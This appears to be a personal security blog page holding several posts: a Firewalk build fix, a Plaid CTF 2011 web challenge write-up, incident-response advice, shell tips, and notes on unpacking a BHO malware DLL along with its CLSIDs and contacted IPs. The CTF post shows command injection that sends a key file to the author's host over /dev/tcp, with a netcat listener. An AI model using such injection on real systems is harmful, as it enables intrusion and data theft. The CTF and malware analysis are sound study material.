8

Installing Firewalk on KUbuntu

-

Installing Firewalk turned out to be more complicated than I thought it would be. There were some compilation issues and some library errors.
The chief amongst them was:


checking for arp_get in -ldnet... no
configure: error: No libdnet? http://libdnet.sourceforge.net.

I did install libdnet using aptitude but it did not do the trick. Thereafer, searching a few forums got me this information. The “Libdnet” that Firewalk looks for is libdumbnet1 in the ubuntu language.
So I got the Debian packages from the following links:
libdnet1
libdnet-dev
I continued to get that error and no wonder because there was nothing in /usr/lib.
So I executed the following commands :


$ cd /usr/lib
$ sudo ln -s libdumbnet.so libdnet.so
$ cd /usr/include
$ sudo ln -s dumbnet.h dnet.h

Then there was a compilation error:


firewalk.c: In function ‘firewalk’:
firewalk.c:193: error: label at end of compound statement
make[1]: *** [firewalk.o] Error 1
make[1]: Leaving directory `/home/trance/Desktop/Firewalk/src'
make: *** [all-recursive] Error 1

So then opening the firewalk.c file in vim (and following up on line 193) showed that the “break;” statement was missing after default: switch statement.
So then I added the the following characters (without quotes) “break;” at a line above the comment as shown below:


default:
break;
/* empty */


$ ./configure
$ make
$ sudo make install
$ sudo cp man/firewalk.8 /usr/local/man/man8

Now firewalk was installed and ready to use!

3

Plaid CtF 2011 – Writeup #16

-

The Plaid Parliament of Pwning organized their own Capture-the-Flag (CtF) contest this past weekend. It was an excellent CtF with about 36 challenges ranging from trivia, exploitation, reverse engineering, web exploitation, cryptography, and forensics.

My writeup for #16 – Plain sight [200 pts] web

The problem was

The time to strike is now! This fiendish AED employee decided to hide secret data on this website (http://a4.amalgamated.biz/cgi-bin/chroot.cgi)
It seems that the employee was in the middle of creating the website when our operatives stumbled upon it.
The good news is that there are surely bugs in the development version of this problem, the bad news is currently no feedback printed to users.
Some of our leet operatives have determined a little bit about the machine: it runs in a read-only environment with only
bash cat dc expand grep hd head id less ls more nl od pr rev sh sleep sort sum tail tar tr true tsort ul wc yes
installed.

Find what AED is hiding, good luck and godspeed.

There was a URL http://a4.amalgamated.biz/cgi-bin/chroot.cgi that allowed remote code execution.
bash, cat, less, more, ls were allowed.

First thing I did was checked if the bash TCP connections were allowed using:
http://a4.amalgamated.biz/cgi-bin/chroot.cgi?ls>/dev/tcp/MYIP/5000

That seemed to work. So then I listed the directories one by one until I bumped onto:
I used http://a4.amalgamated.biz/cgi-bin/chroot.cgi?cat%20keyfolder/key>/dev/tcp/MYIP/5000 I had the port forwarded to my PC and a netcat listener running in a loop
while [ 1 ]
do
nc -l -v -p 5000
done

The answer was esc4p3_str1ng5.

Fun times!

0

CEPT Certified!

-

I finally got the Certified Expert Penetration Tester (CEPT) with a good score on the practical. There were two parts to the certification : an objective multiple choice written test and a practical. To qualify one needs 70% on the written and 70% on the practical portion of the test.
The written test was not too challenging if you follow the material taught at the InfoSec Institute’s Advanced Ethical Hacking course, however, the practical made up on the lack of challenge. The practical involved writing an unpublished stack overflow exploit for a real-world commercial software of IACRB’s choosing, a format string exploit for a custom application and writing a patch for windows binary to subvert registration mechanism on the binary. One could write the exploit in the form of a python script (that I chose), a shell script , a perl script or a binary written in a language of our choosing. The solution could be quite flexible when it came to the choice of language for writing the exploits.
Personally speaking, this was a great learning experience for me and I plan to continue learning in the interesting field of vulnerability development!

0

What to do when things go wrong?

-

I blogged earlier about blameless post-mortems and how one gets to a point that they are able to do blameless post-mortems – by having an operational rigor and observability. This is more of a lessons learnt post about what do you do and what you don’t when things go wrong?

Focusing on the Who?

A lot of times focusing on the “who reported the issue?” can be focusing on a wrong thing. If a report comes from a penetration test or a bug bounty researcher or an internal security engineering resource you need to make sure that the impact and likelihood is clearly understood. There are sometimes where customers (who pay or intend to pay for your service) report problems – these are obviously more important.

Focusing on the How?

How a security issue gets reported is important. As examples where you learn about a security issue via a bug report(1), or where you learn about it via your own telemetry(2) or you learn about it on Twitter! There is a potential for legal ramifications in each of these cases and the risks might be different. When things become public without your knowledge where you were not notified and the information is now public you do have a role to instill confidence in your current customers. The best approach here tends to be of sticking to facts without any speculations. If you are working on incident say so. Don’t say we are most secure when you are the subject of a breach discussion especially because you already have the data that you are not as secure. Identification and Containment of the security issue are top priorities – do not take resources that are doing these actions away to ensure Public Relations are good – doing that will eventually make public relations bad! Involve lawyers in your communications process and mark communications with right legal tags (“attorney client privileged material”) so that if a litigation happens you can clearly demarcate evidence that can be or cannot be part of a discovery.

Focusing on the What?

“What” needs to be done has to be clear with the help of an incident manager. The incident manager is the person who is most well read, subject matter expert, and leads the response process. Having this single-threaded ownership of leading the incident is incredibly important. The role of the incident manager is to ensure they have all the information that they need to make decisions. This also streamlines the process of public relations, legal needs, incident cleanup (eradication and recovery), and helps with swift and focused decision-making. This can sometimes be crisis management depending on impact and otherwise it can be just another day in the Security operations office. The key trait here is focus and goal-based decision making. Adrenaline can run high, tempers can flare – that typically happens when you are unprepared to handle security incidents. The tempers and nervousness can be avoided by being proactive in doing tabletop exercises, incident dry-runs and having good runbooks. But all practice games do is prepare you for the real thing – the real thing is how you handle a true incident. Use the help of key stakeholders to derive best decisions – there often tend to be situations where no answer looks good – and therein comes the customer focus – if you focus on the well being of customers you will rarely go wrong.

Focusing on the Why?

Capture incident response logs in tickets and communications so all the timeline and actions get captured properly with documentation. After the recovery is completed, do a blameless post-mortem of how you got there. Ensure you put a timeline of taking on agreed-upon corrective actions on a timeline that is agreed and don’t waiver – this is a part of operational rigor one needs to follow to really avoid incidents from happening in future. Typically, the reason why issues happen is because something was not prioritized as it should have been. Reprioritize to make sure you can reassess. Sometimes the size of the incident makes it your reprioritization almost coerced – it’s ok to be coerced in that direction. You will find that coercion is simply an acceleration of the actions that you should have taken up earlier. No one is perfect – just come out of it better!

Focusing on the Where?

Where you discuss the issue is important. When sizable incidents happen discuss is openly with the business leaders so that full awareness and feedback is provided in “powerful forums”. This obviously does not mean that you break your attorney client privilege – it just means discuss with the highest leaders in a manner where action items, impact and post-mortem results are provided. This enables business to become resilient over time and develop confidence in the security teams. If you need to do public releases then ensure that lawyers read it and security SMEs read it as well as business leaders read it – only then do such releases. Don’t let the “left hand meet right” situation ever occur. This instills customer confidence in your process.

Conclusion

This was just an attempt for me to pen-down my thoughts as they appeared in my brain. I am sure I forgot a lot such as stress of handling, avoiding knee-jerk reactions, etc. but these are top most important things that I felt were necessary to share. Remember, incident handling gets better with practice – you want the practice be done in practice games not in the olympics! 🙂

0

Truecrypt password in history file

-

To avoid saving the truecrypt password in history files and mounting the Truecrypt partitions on bash the following trick helps:

history -d $((HISTCMD-1)) && sudo truecrypt --mount <PATH_TO_TRUECRYPT_VOL> --non-interactive -p <PASSWORD>

This will avoid saving the password in the .bash_history file and also mount the truecrypt volume from the command line.  Of course, if you use this in a shell script then the shell script will have the password in it, so you must not do that.

2

VPNC Connection Status

-

I was using the vpnc the other day on my Backtrack 4 R2 system to log in to VPN. I noticed that there was nothing that would give me the status of whether or not the tunnel was up. So I wrote a small one-liner to help me:

while [ `ps aux |grep vpnc|grep -v grep|awk '{print $2}'` ] ; do printf "Connected\r"; done

1

New Year and Browser Helper Objects

-

The New Year brings in interesting things (or so we hope). My friend came up to me with an “infected” computer with a fantastic piece of malware installed. The malware was presented the user with a completely different HTML page when something was searched on Google. Browser Helper Objects (BHOs) are Dynamic Link Libraries (DLLs) that are installed in Internet Explorer (IE) and have a complete access to the DOM tree of the browser window. The name of the DLL was xyusx.dll (or something like that). This DLL was packed so that it wouldn’t permit a clean disassembly. The usual tricks seemed to work and I was able to unpack the DLL.

The procedure is simple. Open the DLL in OllyDbg. Search for the PUSHAD instruction (this instruction stores all the registers on the top of the stack) and set a breakpoint (F2 key in OllyDbg) on that instruction.

Press F9 to continue the debugging. Press F8 to execute the instruction, and then set a hardware breakpoint on the top of the stack in the Dump Window as shown in the image. You can do this easily by right clicking on the ESP register and clicking on “Follow in Dump”.
Once you reach the POPAD instruction or the hardware breakpoint is activated, this shows that the registers that were saved on the stack are now going to be restored in the respective registers. This indicates that the program has now finished extracting itself and is ready to execute the instructions.
I used OllyDump to dump out the contents of this DLL and then used LordPE to repair the import table. This process, however, needs more work due to the nature of the automated import address table repairing as some things can be missed.
Once this repairing was finished, I opened the file in IDA Pro to disassemble the unpacked DLL. This did give me a lot of information about this DLL, however, I’m still in the process of completing a good disassembly of this DLL.
As for now, I can say that this DLL installed a bunch of spyware CLSIDs into the system.
Some of the CLSIDs (out of the 45 that it uses) by this malware are listed below:

{CF46BFB3-2ACC-441b-B82B-36B9562C7FF1}
{67C55A8D-E808-4caa-9EA7-F77102DE0BB6}
{1557B435-8242-4686-9AA3-9265BF7525A4}
{55DB983C-BDBF-426f-86F0-187B02DDA39B}
{A24B57F8-505D-4fc5-9960-740E304D1ABA}
{4B646AFB-9341-4330-8FD1-C32485AEE619}
{CD3447D4-CA39-4377-8084-30E86331D74C}
{DEBEB52F-CFA6-4647-971F-3EDB75B63AFA}
{8F2183B9-F4DB-4913-8F82-6F9CC42E4CF8}
{92A444D2-F945-4dd9-89A1-896A6C2D8D22}
{1F6581D5-AA53-4b73-A6F9-41420C6B61F1}
{1126271C-A8C3-438c-B951-7C94B453B16B}
{938A8A03-A938-4019-B764-03FF8D167D79}
{44218730-94E0-4b24-BBF0-C3D8B2BCE2C3}

This DLL also seemed to communicate to :

89.188.16.10
89.188.16.16
65.243.103.56
65.243.103.60
65.243.103.62

Whatever you do to these servers is upto you. Some google searches allude that this is a “Vundo infection”. I’m also not sure what solutions people are posting to this problem but I’d not feel safe if this malware was on my computer and I’d definitely format my Windows install, patch it and change my passwords! I’m not completely dne with the disassembly and reversing of this malware yet, but I’m sure I’ll post more when I delve into this disassembled code deeper.